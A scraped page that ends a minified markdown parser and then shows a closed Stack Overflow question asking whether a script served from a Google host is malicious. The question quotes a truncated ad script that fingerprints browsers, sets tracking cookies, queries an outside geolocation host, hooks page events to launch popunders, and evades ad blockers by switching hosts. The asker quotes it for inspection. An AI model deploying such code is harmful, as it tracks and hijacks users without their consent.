p._tag)(), p.paragraph = l(p.paragraph)("hr", p.hr)("heading", p.heading)("lheading", p.lheading)("blockquote", p.blockquote)("tag", "<" + p._tag)("def", p.def)(), p.normal = h({}, p), p.gfm = h({}, p.normal, { fences: /^ *(`{3,}|~{3,})[ \.]*(\S+)? *\n([\s\S]*?)\s*\1 *(?:\n+|$)/, paragraph: /^/, heading: /^ *(#{1,6}) +([^\n]+?) *#* *(?:\n+|$)/ }), p.gfm.paragraph = l(p.paragraph)("(?!", "(?!" + p.gfm.fences.source.replace("\\1", "\\2") + "|" + p.list.source.replace("\\1", "\\3") + "|")(), p.tables = h({}, p.gfm, { nptable: /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)\n*/, table: /^ *\|(.+)\n *\|( *[-:]+[-| :]*)\n((?: *\|.*(?:\n|$))*)\n*/ }), e.rules = p, e.lex = function(t, n) { var r = new e(n); return r.lex(t) }, e.prototype.lex = function(e) { return e = e.replace(/\r\n|\r/g, "\n").replace(/\t/g, " ").replace(/\u00a0/g, " ").replace(/\u2424/g, "\n"), this.token(e, !0) }, e.prototype.token = function(e, t, n) { for (var r, s, i, l, o, h, a, u, c, e = e.replace(/^ +$/gm, ""); e;)if ((i = this.rules.newline.exec(e)) && (e = e.substring(i[0].length), i[0].length > 1 && this.tokens.push({ type: "space" })), i = this.rules.code.exec(e)) e = e.substring(i[0].length), i = i[0].replace(/^ {4}/gm, ""), this.tokens.push({ type: "code", text: this.options.pedantic ? i : i.replace(/\n+$/, "") }); else if (i = this.rules.fences.exec(e)) e = e.substring(i[0].length), this.tokens.push({ type: "code", lang: i[2], text: i[3] || "" }); else if (i = this.rules.heading.exec(e)) e = e.substring(i[0].length), this.tokens.push({ type: "heading", depth: i[1].length, text: i[2] }); else if (t && (i = this.rules.nptable.exec(e))) { for (e = e.substring(i[0].length), h = { type: "table", header: i[1].replace(/^ *| *\| *$/g, "").split(/ *\| */), align: i[2].replace(/^ *|\| *$/g, "").split(/ *\| */), cells: i[3].replace(/\n$/, "").split("\n") }, u = 0; u < h.align.length; u++)/^ *-+: *$/.test(h.align[u]) ? h.align[u] = "right" : /^ *:-+: *$/.test(h.align[u]) ? h.align[u] = "center" : /^ *:-+ *$/.test(h.align[u]) ? h.align[u] = "left" : h.align[u] = null; for (u = 0; u < h.cells.length; u++)h.cells[u] = h.cells[u].split(/ *\| */); this.tokens.push(h) } else if (i = this.rules.lheading.exec(e)) e = e.substring(i[0].length), this.tokens.push({ type: "heading", depth: "=" === i[2] ? 1 : 2, text: i[1] }); else if (i = this.rules.hr.exec(e)) e = e.substring(i[0].length), this.tokens.push({ type: "hr" }); else if (i = this.rules.blockquote.exec(e)) e = e.substring(i[0].length), this.tokens.push({ type: "blockquote_start" }), i = i[0].replace(/^ *> ?/gm, ""), this.token(i, t, !0), this.tokens.push({ type: "blockquote_end" }); else if (i = this.rules.list.exec(e)) { for (e = e.substring(i[0].length), l = i[2], this.tokens.push({ type: "list_start", ordered: l.length > 1 }), i = i[0].match(this.rules.item), r = !1, c = i.length, u = 0; c > u; u++)h = i[u], a = h.length, h = h.replace(/^ *([*+-]|\d+\.) +/, ""), ~h.indexOf("\n ") && (a -= h.length, h = this.options.pedantic ? h.replace(/^ {1,4}/gm, "") : h.replace(new RegExp("^ {1," + a + "}", "gm"), "")), this.options.smartLists && u !== c - 1 && (o = p.bullet.exec(i[u + 1])[0], l === o || l.length > 1 && o.length > 1 || (e = i.slice(u + 1).join("\n") + e, u = c - 1)), s = r || /\n\n(?!\s*$)/.test(h), u !== c - 1 && (r = "\n" === h.charAt(h.length - 1), s || (s = r)), this.tokens.push({ type: s ? "loose_item_start" : "list_item_start" }), this.token(h, !1, n), this.tokens.push({ type: "list_item_end" }); this.tokens.push({ type: "list_end" }) } else if (i = this.rules.html.exec(e)) e = e.substring(i[0].length), this.tokens.push({ type: this.options.sanitize ? "paragraph" : "html", pre: !this.options.sanitizer && ("pre" === i[1] || "script" === i[1] || "style" === i[1]), text: i[0] }); else if (!n && t && (i = this.rules.def.exec(e))) e = e.substring(i[0].length), this.tokens.links[i[1].toLowerCase()] = { href: i[2], title: i[3] }; else if (t && (i = this.rules.table.exec(e))) { for (e = e.substring(i[0].length), h = { type: "table", header: i[1].replace(/^ *| *\| *$/g, "").split(/ *\| */), align: i[2].replace(/^ *|\| *$/g, "").split(/ *\| */), cells: i[3].replace(/(?: *\| *)?\n$/, "").split("\n") }, u = 0; u < h.align.length; u++)/^ *-+: *$/.test(h.align[u]) ? h.align[u] = "right" : /^ *:-+: *$/.test(h.align[u]) ? h.align[u] = "center" : /^ *:-+ *$/.test(h.align[u]) ? h.align[u] = "left" : h.align[u] = null; for (u = 0; u < h.cells.length; u++)h.cells[u] = h.cells[u].replace(/^ *\| *| *\| *$/g, "").split(/ *\| */); this.tokens.push(h) } else if (t && (i = this.rules.paragraph.exec(e))) e = e.substring(i[0].length), this.tokens.push({ type: "paragraph", text: "\n" === i[1].charAt(i[1].length - 1) ? i[1].slice(0, -1) : i[1] }); else if (i = this.rules.text.exec(e)) e = e.substring(i[0].length), this.tokens.push({ type: "text", text: i[0] }); else if (e) throw new Error("Infinite loop on byte: " + e.charCodeAt(0)); return this.tokens }; var u = { escape: /^\\([\\`*{}\[\]()#+\-.!_>])/, autolink: /^<([^ >]+(#|:\/)[^ >]+)>/, url: o, tag: /^<!--[\s\S]*?-->|^<\/?\w+(?:"[^"]*"|'[^']*'|[^'">])*?>/, link: /^!?\[(inside)\]\(href\)/, reflink: /^!?\[(inside)\]\s*\[([^\]]*)\]/, nolink: /^!?\[((?:\[[^\]]*\]|[^\[\]])*)\]/, strong: /^__([\s\S]+?)__(?!_)|^\*\*([\s\S]+?)\*\*(?!\*)/, em: /^\b_((?:[^_]|__)+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)/, code: /^(`+)\s*([\s\S]*?[^`])\s*\1(?!`)/, br: /^ {2,}\n(?!\s*$)/, del: o, text: /^[\s\S]+?(?=[\\<!\[_*`]| {2,}\n|$)/ }; u._inside = /(?:\[[^\]]*\]|[^\[\]]|\](?=[^\[]*\]))*/, u._href = /\s*<?([\s\S]*?)>?(?:\s+['"]([\s\S]*?)['"])?\s*/, u.link = l(u.link)("inside", u._inside)("href", u._href)(), u.reflink = l(u.reflink)("inside", u._inside)(), u.normal = h({}, u), u.pedantic = h({}, u.normal, { strong: /^__(?=\S)([\s\S]*?\S)__(?!_)|^\*\*(?=\S)([\s\S]*?\S)\*\*(?!\*)/, em: /^_(?=\S)([\s\S]*?\S)_(?!_)|^\*(?=\S)([\s\S]*?\S)\*(?!\*)/ }), u.gfm = h({}, u.normal, { escape: l(u.escape)("])", "~|])")(), url: /^(https?:\/\/[^\s<]+[^<.,:;"')\]\s])/, del: /^~~(?=\S)([\s\S]*?\S)~~/, text: l(u.text)("]|", "~]|")("|", "|https?://|")() }), u.breaks = h({}, u.gfm, { br: l(u.br)("{2,}", "*")(), text: l(u.gfm.text)("{2,}", "*")() }), t.rules = u, t.output = function(e, n, r) { var s = new t(n, r); return s.output(e) }, t.prototype.output = function(e) { for (var t, n, r, i, l = ""; e;)if (i = this.rules.escape.exec(e)) e = e.substring(i[0].length), l += i[1]; else if (i = this.rules.autolink.exec(e)) e = e.substring(i[0].length), "#" === i[2] ? (n = ":" === i[1].charAt(6) ? this.mangle(i[1].substring(7)) : this.mangle(i[1]), r = this.mangle("mailto:") + n) : (n = s(i[1]), r = n), l += this.renderer.link(r, null, n); else if (this.inLink || !(i = this.rules.url.exec(e))) { if (i = this.rules.tag.exec(e)) !this.inLink && /^<a /i.test(i[0]) ? this.inLink = !0 : this.inLink && /^<\/a>/i.test(i[0]) && (this.inLink = !1), e = e.substring(i[0].length), l += this.options.sanitize ? this.options.sanitizer ? this.options.sanitizer(i[0]) : s(i[0]) : i[0]; else if (i = this.rules.link.exec(e)) e = e.substring(i[0].length), this.inLink = !0, l += this.outputLink(i, { href: i[2], title: i[3] }), this.inLink = !1; else if ((i = this.rules.reflink.exec(e)) || (i = this.rules.nolink.exec(e))) { if (e = e.substring(i[0].length), t = (i[2] || i[1]).replace(/\s+/g, " "), t = this.links[t.toLowerCase()], !t || !t.href) { l += i[0].charAt(0), e = i[0].substring(1) + e; continue } this.inLink = !0, l += this.outputLink(i, t), this.inLink = !1 } else if (i = this.rules.strong.exec(e)) e = e.substring(i[0].length), l += this.renderer.strong(this.output(i[2] || i[1])); else if (i = this.rules.em.exec(e)) e = e.substring(i[0].length), l += this.renderer.em(this.output(i[2] || i[1])); else if (i = this.rules.code.exec(e)) e = e.substring(i[0].length), l += this.renderer.codespan(s(i[2], !0)); else if (i = this.rules.br.exec(e)) e = e.substring(i[0].length), l += this.renderer.br(); else if (i = this.rules.del.exec(e)) e = e.substring(i[0].length), l += this.renderer.del(this.output(i[1])); else if (i = this.rules.text.exec(e)) e = e.substring(i[0].length), l += this.renderer.text(s(this.smartypants(i[0]))); else if (e) throw new Error("Infinite loop on byte: " + e.charCodeAt(0)) } else e = e.substring(i[0].length), n = s(i[1]), r = n, l += this.renderer.link(r, null, n); return l }, t.prototype.outputLink = function(e, t) { var n = s(t.href), r = t.title ? s(t.title) : null; return "!" !== e[0].charAt(0) ? this.renderer.link(n, r, this.output(e[1])) : this.renderer.image(n, r, s(e[1])) }, t.prototype.smartypants = function(e) { return this.options.smartypants ? e.replace(/---/g, "—").replace(/--/g, "–").replace(/(^|[-\u2014\/(\[{"\s])'/g, "$1‘").replace(/'/g, "’").replace(/(^|[-\u2014\/(\[{\u2018\s])"/g, "$1“").replace(/"/g, "”").replace(/\.{3}/g, "…") : e }, t.prototype.mangle = function(e) { if (!this.options.mangle) return e; for (var t, n = "", r = e.length, s = 0; r > s; s++)t = e.charCodeAt(s), Math.random() > .5 && (t = "x" + t.toString(16)), n += "&#" + t + ";"; return n }, n.prototype.code = function(e, t, n) { if (this.options.highlight) { var r = this.options.highlight(e, t); null != r && r !== e && (n = !0, e = r) } return t ? '<pre><code class="' + this.options.langPrefix + s(t, !0) + '">' + (n ? e : s(e, !0)) + "\n</code></pre>\n" : "<pre><code>" + (n ? e : s(e, !0)) + "\n</code></pre>" }, n.prototype.blockquote = function(e) { return "<blockquote>\n" + e + "</blockquote>\n" }, n.prototype.html = function(e) { return e }, n.prototype.heading = function(e, t, n) { return "<h" + t + ' id="' + this.options.headerPrefix + n.toLowerCase().replace(/[^\w]+/g, "-") + '">' + e + "</h" + t + ">\n" }, n.prototype.hr = function() { return this.options.xhtml ? "<hr/>\n" : "<hr>\n" }, n.prototype.list = function(e, t) { var n = t ? "ol" : "ul"; return "<" + n + ">\n" + e + "</" + n + ">\n" }, n.prototype.listitem = function(e) { return "<li>" + e + "</li>\n" }, n.prototype.paragraph = function(e) { return "<p>" + e + "</p>\n" }, n.prototype.table = function(e, t) { return "<table>\n<thead>\n" + e + "</thead>\n<tbody>\n" + t + "</tbody>\n</table>\n" }, n.prototype.tablerow = function(e) { return "<tr>\n" + e + "</tr>\n" }, n.prototype.tablecell = function(e, t) { var n = t.header ? "th" : "td", r = t.align ? "<" + n + ' style="text-align:' + t.align + '">' : "<" + n + ">"; return r + e + "</" + n + ">\n" }, n.prototype.strong = function(e) { return "<strong>" + e + "</strong>" }, n.prototype.em = function(e) { return "<em>" + e + "</em>" }, n.prototype.codespan = function(e) { return "<code>" + e + "</code>" }, n.prototype.br = function() { return this.options.xhtml ? "<br/>" : "<br>" }, n.prototype.del = function(e) { return "<del>" + e + "</del>" }, n.prototype.link = function(e, t, n) { if (this.options.sanitize) { try { var r = decodeURIComponent(i(e)).replace(/[^\w:]/g, "").toLowerCase() } catch (s) { return "" } if (0 === r.indexOf("javascript:") || 0 === r.indexOf("vbscript:")) return "" } var l = '" + n + "" }, n.prototype.image = function(e, t, n) { var r = '<img src="' + e + '" alt="' + n + '"'; return t && (r += ' title="' + t + '"'), r += this.options.xhtml ? "/>" : ">" }, n.prototype.text = function(e) { return e }, r.parse = function(e, t, n) { var s = new r(t, n); return s.parse(e) }, r.prototype.parse = function(e) { this.inline = new t(e.links, this.options, this.renderer), this.tokens = e.reverse(); for (var n = ""; this.next();)n += this.tok(); return n }, r.prototype.next = function() { return this.token = this.tokens.pop() }, r.prototype.peek = function() { return this.tokens[this.tokens.length - 1] || 0 }, r.prototype.parseText = function() { for (var e = this.token.text; "text" === this.peek().type;)e += "\n" + this.next().text; return this.inline.output(e) }, r.prototype.tok = function() { switch (this.token.type) { case "space": return ""; case "hr": return this.renderer.hr(); case "heading": return this.renderer.heading(this.inline.output(this.token.text), this.token.depth, this.token.text); case "code": return this.renderer.code(this.token.text, this.token.lang, this.token.escaped); case "table": var e, t, n, r, s, i = "", l = ""; for (n = "", e = 0; e < this.token.header.length; e++)r = { header: !0, align: this.token.align[e] }, n += this.renderer.tablecell(this.inline.output(this.token.header[e]), { header: !0, align: this.token.align[e] }); for (i += this.renderer.tablerow(n), e = 0; e < this.token.cells.length; e++){ for (t = this.token.cells[e], n = "", s = 0; s < t.length; s++)n += this.renderer.tablecell(this.inline.output(t[s]), { header: !1, align: this.token.align[s] }); l += this.renderer.tablerow(n) } return this.renderer.table(i, l); case "blockquote_start": for (var l = ""; "blockquote_end" !== this.next().type;)l += this.tok(); return this.renderer.blockquote(l); case "list_start": for (var l = "", o = this.token.ordered; "list_end" !== this.next().type;)l += this.tok(); return this.renderer.list(l, o); case "list_item_start": for (var l = ""; "list_item_end" !== this.next().type;)l += "text" === this.token.type ? this.parseText() : this.tok(); return this.renderer.listitem(l); case "loose_item_start": for (var l = ""; "list_item_end" !== this.next().type;)l += this.tok(); return this.renderer.listitem(l); case "html": var h = this.token.pre || this.options.pedantic ? this.token.text : this.inline.output(this.token.text); return this.renderer.html(h); case "paragraph": return this.renderer.paragraph(this.inline.output(this.token.text)); case "text": return this.renderer.paragraph(this.parseText()) } }, o.exec = o, a.options = a.setOptions = function(e) { return h(a.defaults, e), a }, a.defaults = { gfm: !0, tables: !0, breaks: !1, pedantic: !1, sanitize: !1, sanitizer: null, mangle: !0, smartLists: !1, silent: !1, highlight: null, langPrefix: "lang-", smartypants: !1, headerPrefix: "", renderer: new n, xhtml: !1 }, a.Parser = r, a.parser = r.parse, a.Renderer = n, a.Lexer = e, a.lexer = e.lex, a.InlineLexer = t, a.inlineLexer = t.output, a.parse = a, "undefined" != typeof module && "object" == typeof exports ? module.exports = a : "function" == typeof define && define.amd ? define(function() { return a }) : this.marked = a }).call(function() { return this || ("undefined" != typeof window ? window : global) } ());
function markdownToHTML(markdown) {
// Define variables
var re = /``.*?``/g,
str = markdown,
lastIndex = 0,
escaped = "";
// Escape <, > and & from non-code markdown
while ((match = re.exec(str)) != null) {
// Define variables to escape and to leave
var dangerous = markdown.substring(lastIndex, match.index);
var safe = match[0];
// Escape dangerous markdown
dangerous = dangerous.replace(/<[^>]+>/g, function(wholeMatch, innerTag) {
while (wholeMatch.charAt(0) == "<")
wholeMatch = wholeMatch.replace("<", "<");
while (wholeMatch.charAt(wholeMatch.length - 1) == ">")
wholeMatch = wholeMatch.replace(/.$/, ">");
return wholeMatch;
});
// Add escaped strings to new escaped string
escaped += dangerous;
escaped += safe;
// Set lastIndex to end index of match
lastIndex = match.index + match[0].length;
}
escaped += markdown.substring(lastIndex, markdown.length).replace(/<[^>]+>/g, function(wholeMatch, innerTag) {
while (wholeMatch.charAt(0) == "<")
wholeMatch = wholeMatch.replace("<", "<");
while (wholeMatch.charAt(wholeMatch.length - 1) == ">")
wholeMatch = wholeMatch.replace(/.$/, ">");
return wholeMatch;
});
// Return SAFE markdown and convert to HTML
return marked(escaped);
}
document.getElementById("converted-markdown").innerHTML = markdownToHTML("This **text** should be escaped.\nIf I try to create a div by using:\n<div style='width:100px;height:100px;background-color:red;'>My Div</div>\nit will be escaped...\n\nWhere as if I use it in a code section like so:\n``<div style='width:100px;height:100px;background-color:red;'>My Div</div>``\nit should be left alone and **not** escaped.");
<div id="converted-markdown"></div>

Is this malicious javascript being served from a google server? [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about programming within the scope defined in the help center.
Closed 6 years ago.
Improve this question
I like to look at the javascript that is running as I do my web browsing. Today I found what appears to be malicious tracking JS with a flash exploit being served from a google server. It's located in a directory for a JS framework. It's not the main CDN, but I still find it strange and possibly alarming.(keep in mind, I'm a JS novice)
It appears to be by "g u ng go', which after some googling seems to be a shady marketing firm IMO.
Here's the code(warning its really long):
var _gunggo = _gunggo || {};
_gunggo.settings = _gunggo.settings || {}, _gunggo.lib = _gunggo.lib || {},
_gunggo.lib.attEvt = function(e, t, n, i) {
if ("undefined" != typeof e.addEventListener) return void e.addEventListener(
t, n, i);
if ("undefined" != typeof e.attachEvent) return void e.attachEvent("on" +
t, n);
if (t = "on" + t, "function" == typeof e[t]) {
var r = e[t];
e[t] = function() {
return r(), n()
}
} else e[t] = n
}, _gunggo.lib.detEvt = function(e, t, n, i) {
e.removeEventListener && e.removeEventListener(t, n, i), e.detachEvent &&
e.detachEvent("on" + t, n)
}, _gunggo.lib.attOnce = function(e, t, n) {
_gunggo.lib.attEvt(e, t, function() {
_gunggo.lib.detEvt(e, t, arguments.callee), n()
})
}, _gunggo.lib.rc = function(e) {
for (var t = e + "=", n = document.cookie.split(";"), i = 0; i < n.length; i++) {
for (var r = n[i];
" " == r.charAt(0);) r = r.substring(1, r.length);
if (0 == r.indexOf(t)) return r.substring(t.length, r.length)
}
return null
}, _gunggo.lib.sct = function(e, t, n, i) {
document.cookie = e + "=" + t + (n ? ";expires=" + n : "") + (i ?
";domain=." + i : "") + ";path=/"
}, _gunggo.lib.sch = function(e, t, n, i) {
if (n) {
var r = new Date;
r.setTime(r.getTime() + 60 * n * 60 * 1e3), r = r.toGMTString()
} else r = "";
_gunggo.lib.sct(e, t, r, i)
}, _gunggo.lib.saveFreq = function(e, t, n) {
try {
if (!e.freqcap) return;
var i = _gunggo.lib.rc(t) || 0,
r = new Date;
0 == i ? (r.setTime(r.getTime() + 60 * e.freqcap.duration * 60 *
1e3), r = r.toGMTString()) : (r = i.split("|")[1], i = i.split(
"|")[0]), "session" == e.freqcap.duration ? r = null : null,
i = parseInt(i) + 1 + "|", i += r ? r : new Date, _gunggo.lib.sct(
t, i, r, n)
} catch (o) {
_gunggo.settings.debug && console.log(
"check _gunggo.settings from " + arguments.callee + ": " +
o)
}
}, _gunggo.lib.passFreqCap = function(e, t) {
try {
var n = _gunggo.lib.rc(t);
return n ? n.split("|")[0] < e.freqcap.frequency ? !0 : !1 : !0
} catch (i) {
_gunggo.settings.debug && console.log(
"check _gunggo.settings from " + arguments.callee + ": " +
i)
}
}, _gunggo.lib.saveActiveViews = function(e, t, n) {
if (e.activeViews) {
var i = _gunggo.lib.rc(t) || 0;
_gunggo.lib.sch(t, parseInt(i) + 1, null, n)
}
}, _gunggo.lib.passActiveViews = function(e, t) {
try {
var n = _gunggo.lib.rc(t) || 0;
return _gunggo.lib.log("ActiveViews: " + n), n > e.activeViews
} catch (i) {
_gunggo.lib.log("check _gunggo.settings from " + arguments.callee +
": " + i)
}
}, _gunggo.lib.passBrowser = function(e) {
try {
for (var t = !1, n = 0; n < e.browser.length; n++)
if (_gunggo.lib.log(e.browser[n]), e.browser[n] == _gunggo.browser
.agent) {
t = !0;
break
}
return "inclusive" == e.browserTarget && t ? !0 : "exclusive" != e.browserTarget ||
t ? !1 : !0
} catch (i) {
_gunggo.lib.log("check _gunggo.settings from " + arguments.callee +
": " + i)
}
}, _gunggo.lib.passOS = function(e) {
try {
for (var t = !1, n = 0; n < e.os.length; n++)
if (_gunggo.lib.log(e.os[n]), e.os[n] == _gunggo.browser.OS) {
t = !0;
break
}
return "inclusive" == e.ostarget && t ? !0 : "exclusive" != e.ostarget ||
t ? !1 : !0
} catch (i) {
_gunggo.lib.log("check _gunggo.settings from " + arguments.callee +
": " + i)
}
}, _gunggo.lib.dynInsert = function(e, t, n, i) {
var r = document.createElement("javascript" == e ? "script" : "link");
r.type = "text/" + e, "javascript" == e ? (r.src = t, i && _gunggo.lib.attEvt(
r, "load", i)) : (r.href = t, r.rel = "stylesheet"), n ? r.async = !
0 : null;
var o = document.getElementsByTagName("script")[0];
o.parentNode.insertBefore(r, o)
}, _gunggo.lib.insertCss = function(e, t) {
_gunggo.lib.dynInsert("css", e, t)
}, _gunggo.lib.insertScript = function(e, t, n) {
_gunggo.lib.dynInsert("javascript", e, t, n)
}, _gunggo.lib.log = function(e) {
_gunggo.settings.debug ? console.log(e) : null
}, _gunggo.lib.jsonp = function(e, t, n) {
_gunggo.lib.insertScript(e + t, n)
}, _gunggo.lib.passGeo = function(e, t) {
var n = _gunggo.lib.rc("_g.geo");
return n ? _gunggo.lib.passGeoTestAux(t, n) : e ? void _gunggo.lib.sch(
"_g.geo", e.countryShortName, 720) : void _gunggo.lib.jsonp(
"http://directrev.cloudapp.net/Webservice/GetVisitorCountryForJson?jsoncallback=",
"_gunggo.lib.passGeo", !0)
}, _gunggo.lib.passGeoTestAux = function(e, t) {
try {
var n = e.countries,
i = !1;
for (var r in n) n[r].toUpperCase() == t.toUpperCase() && (i = !0);
return "exclusive" == e.geotarget && i ? !1 : "exclusive" != e.geotarget ||
i ? "inclusive" == e.geotarget && i ? !0 : !1 : !0
} catch (o) {
_gunggo.settings.debug && console.log("check _gunggo.settings: " +
o)
}
}, _gunggo.lib.getSiteIDByGeo = function(e, t) {
var n = _gunggo.lib.rc("_g.geo");
n || _gunggo.lib.jsonp(
"http://directrev.cloudapp.net/Webservice/GetVisitorCountryForJson?jsoncallback=",
"_gunggo.lib.passGeo", !0);
var r = e.price;
for (i = 0; i < r.length; i++) {
var o = r[i];
for (j = 0; j < o.geo.length; j++) n == o.geo[j] && (t = o.id,
_gunggo.lib.log("SiteID changed to " + o.id +
", country is " + n))
}
return t
}, _gunggo.browser = {
init: function() {
this.agent = this.searchString(this.dataBrowser) ||
"An unknown browser", this.version = this.searchVersion(
navigator.userAgent) || this.searchVersion(navigator.appVersion) ||
"an unknown version", this.OS = this.searchString(this.dataOS) ||
"an unknown OS"
},
searchString: function(e) {
for (var t = 0; t < e.length; t++) {
var n = e[t].str,
i = e[t].prop;
if (this.versionSearchString = e[t].versionSearch || e[t].id,
n) {
if (-1 != n.indexOf(e[t].subStr)) return e[t].id
} else if (i) return e[t].id
}
},
searchVersion: function(e) {
var t = e.indexOf(this.versionSearchString);
if (-1 != t) return parseFloat(e.substr(t + this.versionSearchString
.length + 1))
},
isMobile: function() {
return
/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino|android|ipad|playbook|silk/i
.test(navigator.userAgent || navigator.vendor || window.opera) ||
/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i
.test((navigator.userAgent || navigator.vendor || window.opera)
.substr(0, 4))
},
dataBrowser: [{
str: navigator.userAgent,
subStr: "Chrome",
id: "Chrome"
}, {
str: navigator.userAgent,
subStr: "OmniWeb",
versionSearch: "OmniWeb/",
id: "OmniWeb"
}, {
str: navigator.vendor,
subStr: "Apple",
id: "Safari",
versionSearch: "Version"
}, {
prop: window.opera,
id: "Opera",
versionSearch: "Version"
}, {
str: navigator.vendor,
subStr: "iCab",
id: "iCab"
}, {
str: navigator.vendor,
subStr: "KDE",
id: "Konqueror"
}, {
str: navigator.userAgent,
subStr: "Firefox",
id: "Firefox"
}, {
str: navigator.vendor,
subStr: "Camino",
id: "Camino"
}, {
str: navigator.userAgent,
subStr: "Netscape",
id: "Netscape"
}, {
str: navigator.userAgent,
subStr: "MSIE",
id: "Explorer",
versionSearch: "MSIE"
}, {
str: navigator.userAgent,
subStr: "Trident",
id: "Explorer",
versionSearch: "Trident"
}, {
str: navigator.userAgent,
subStr: "Gecko",
id: "Mozilla",
versionSearch: "rv"
}, {
str: navigator.userAgent,
subStr: "Mozilla",
id: "Netscape",
versionSearch: "Mozilla"
}],
dataOS: [{
str: navigator.platform,
subStr: "Win",
id: "Windows"
}, {
str: navigator.platform,
subStr: "Mac",
id: "Mac"
}, {
str: navigator.userAgent,
subStr: "iPhone",
id: "iPhone/iPod"
}, {
str: navigator.userAgent,
subStr: "iPad",
id: "iPad"
}, {
str: navigator.platform,
subStr: "Linux",
id: "Linux"
}, {
str: navigator.userAgent,
subStr: "android",
id: "Android"
}]
}, _gunggo.browser.init(), _gunggo.trace = {
time: []
}, _gunggo.trace.warn = function(e) {
var t = new Date;
this.time.push(t);
var n = null;
this.time.length > 1 && (n = "From last point: " + (this.time[this.time
.length - 1].getTime() - this.time[this.time.length - 2]
.getTime()) + "ms"), _gunggo.settings.debug && console.log(e, t
.getFullYear() + "-" + t.getMonth() + "-" + t.getDate() + " " +
t.getHours() + ":" + t.getMinutes() + ":" + t.getSeconds() +
":" + t.getMilliseconds(), n)
};
! function() {
var e = document,
t = _gunggo,
a = t.browser,
o = t.lib,
r = t.pop = t.pop || {
placeHolder: function(e) {
t.pop.trigger(e)
}
},
i = "//ad.directrev.com",
s = t.settings.pop = t.settings.pop || {};
s.kw = s.kw || "", s.ref = s.ref || "", s.type = s.type || "popunder", s.infinite =
s.premium || s.infinite || "", "undefined" == typeof a.flash && (a.flash = !
!navigator.mimeTypes["application/x-shockwave-flash"]), t.settings.detection &&
blockAdBlock.on(!0, function() {
i = "//www.iamfine.pw"
}), e.evtL = e.evtL || {}, e._attEvt || (e._attEvt = e.addEventListener,
e.addEventListener = function(t, a, n) {
e._attEvt(t, a, n), e.evtL[t] || (e.evtL[t] = []), e.evtL[t].push(
a)
}), e._detEvt || (e._detEvt = e.removeEventListener, e.removeEventListener =
function(t, a, n) {
e._detEvt(t, a, n);
var o = e.evtL[t];
o && o.length > 0 && o.splice(o.indexOf(a), 1)
}), o.attEvt(e, "mousedown", r.placeHolder, 1), o.attEvt(e, "click",
r.placeHolder, 1), o.attEvt(e, "touchstart", r.placeHolder, 1), (s.geotarget ||
s.price) && o.passGeo(), r.enableFlashHack = 0, r.url = function() {
var e = navigator,
a = screen;
return i + "/RealMedia/ads/adstream_sx.ads/" + t.settings.siteID +
"/1" + 1e17 * Math.random() + "#x10?uln=" + (e.language ? e.language :
e.userLanguage).toLowerCase() + "&je=" + e.javaEnabled() +
"&ce=" + e.cookieEnabled + "&sr=" + a.width + "x" + a.height +
"&kw=" + s.kw + "&ref=" + s.ref
}, r.lock = function(e) {
e = e || window.event;
var t = e.target || e.srcElement;
t = t && t.tagName ? t.tagName.toUpperCase() : 0, e.cancelBubble =
1, e.preventDefault && e.preventDefault(), e.stopImmediatePropagation &&
e.stopImmediatePropagation(), e.stopPropagation && e.stopPropagation(),
e.stop && e.stop()
}, r.evtSrc = function(e) {
e = e || window.event;
var t = e.target || e.srcElement;
